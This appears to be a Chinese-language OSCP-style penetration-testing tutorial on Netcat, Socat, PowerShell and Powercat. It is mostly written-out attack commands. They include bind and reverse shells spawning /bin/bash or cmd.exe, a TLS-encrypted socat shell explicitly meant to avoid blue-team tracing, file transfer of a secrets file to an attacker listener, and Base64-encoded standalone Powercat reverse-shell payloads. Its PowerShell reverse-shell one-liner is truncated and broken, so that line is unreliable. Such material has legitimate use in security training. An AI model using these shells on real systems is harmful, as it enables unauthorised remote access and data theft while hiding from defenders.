[web渗透]网络与信息安全,OSCP|第四章 实用的工具
[web渗透]之:网络与信息安全,OSCP|第四章 实用的工具
Netcat
Netcat 是一个非常好用的一个工具,我们可以用它传送文件,反弹shell,监听端口等。
连接TCP/UDP 端口
我们可以用客户端去连接任何TCP/UDP端口
查看端口是否开启/关闭
读取关于该服务的banner信息
手动连接该服务
nc -nv ip-address> port>
监听 TCP/UDP 端口
nc -nlvp port>
example: nc -nlvp 4445
-n 不需要DNS解析
-l 创造一个监听
-v 更加详细的透露消息
-p 需要监听的端口
利用Netcat 传输文件
接受端(开启监听端口)
nc -nlvp port> > filename>
example: nc -nlvp 4445 > payload.txt
发送端(连接别人的端口)
nc -nv ip-address> port> filename>
example: nc -nv 192.168.98.23 payload.txt
利用Netcat来控制机器
正向连接
目标机自行开启监听端口 攻击机主动去连接端口
常用于内网机器不出网的时候
# 目标机 自行开启端口
Windows: nc -nlvp -e cmd.exe
Linux: nc -nlvp -e /bin/bash
# PS: 有时候Netcat的版本不够高,可能会没有-e 这个参数,各位师傅就自行去 google搜 [reverse shell generator]
# 攻击机 自动连接端口
Kali Linux: nc -nv ip-address> port>
反向连接
攻击机开启端口 目标机连接攻击机
Windows: nc -nv ip-address> port> -e cmd.exe
Linux: nc -nv ip-address> port> -e /bin/bash
Kali Linux: nc -lnvp port>
Socat
Netcat VS Socat
# 连接目标端口
nc ip-address> port>
socat - TCP4:ip-address>:port>
# 开启监听本地端口
nc -lvp 443
socat TCP4-LISTEN:443 STDOUT
Socat 文件传输
# 发送端
socat TCP4-LISTEN:4445,fork file:secret.txt
# 接受端
socat TCP:ip-address>:port> file:received_secret_password.txt,create
Socat Reverse Shell
# 攻击机
socat -d -d TCP4-LISTEN:4445 STDOUT
# 目标机
socat TCP4:ip-address>:4445 EXEC:/bin/bash
Socat 加密正向shell
为什么要流量加密?流量不加密容易被蓝队溯源,信息加密能让我们存活更长一段时间。
我们需要用到openssl来生成自己的证书
# 需要用到的参数
req 初始化一个签名证书 (request)
-newkey 生成一个私钥
rsa:2048 用2048比特长的钥匙用RSA加密
-nodes 储存一个私钥,不需要密码的保护
-keyout 保存密钥到一个文件里
-x509 输出一个 自己签证的证书
-days 设置一个期限
-out 生成一个证书
openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 31 -out bind_shell.crt
# 然后会输入一些信息
cat bind_shell.key bind_shell.crt > bind_shell.pem
# 生成.pem文件才能使用socat来对流量进行加密
# 目标机
sudo socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash
# 攻击机
socat - OPENSSL:ip-address>:port>,verify=0
Powershell $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
好长 Orz, 各位师傅请自行在 reverse shell generator复制吧
Powercat
Powercat 是 Powershell 的Netcat
# Kali Linux 没有的话可以下载
sudo apt install powercat
# Windows
. .\powercat.ps1
Powercat 文件传输
# Kali Linux
sudo nc -lnvp 443 > receving_powercat.ps1
# Windows
powercat -c ip-address> -p port> -i C:\Users\Public\Downloads\powercat.ps1
Powercat Shell
Bind Shell
# Kali Linux
nc ip-address> port>
# Windows
powercat -l -p 443 -e cmd.exe
Reverse Shell
# Kali Linux
nc -lvp 443
# Windows
powercat -c ip-address> -p port> -e cmd.exe
Powercat 独立的 Payload
Powercat 可以独立生成一个自己的ps1 方便自己独自调用
powercat -c ip-address> -p port> -e cmd.exe -g > reverseshell.ps1
# 可以用Base64 去加密我们的reverse_shell
powercat -c ip-address> -p port> -e cmd.exe -ge > encodedreverseshell.ps1
Wireshark
Wireshark 可以进行流量嗅探,解包,进行溯源工作。
Wireshark 安装使用教程
本文话题是[web渗透]网络与信息安全,OSCP|第四章 实用的工具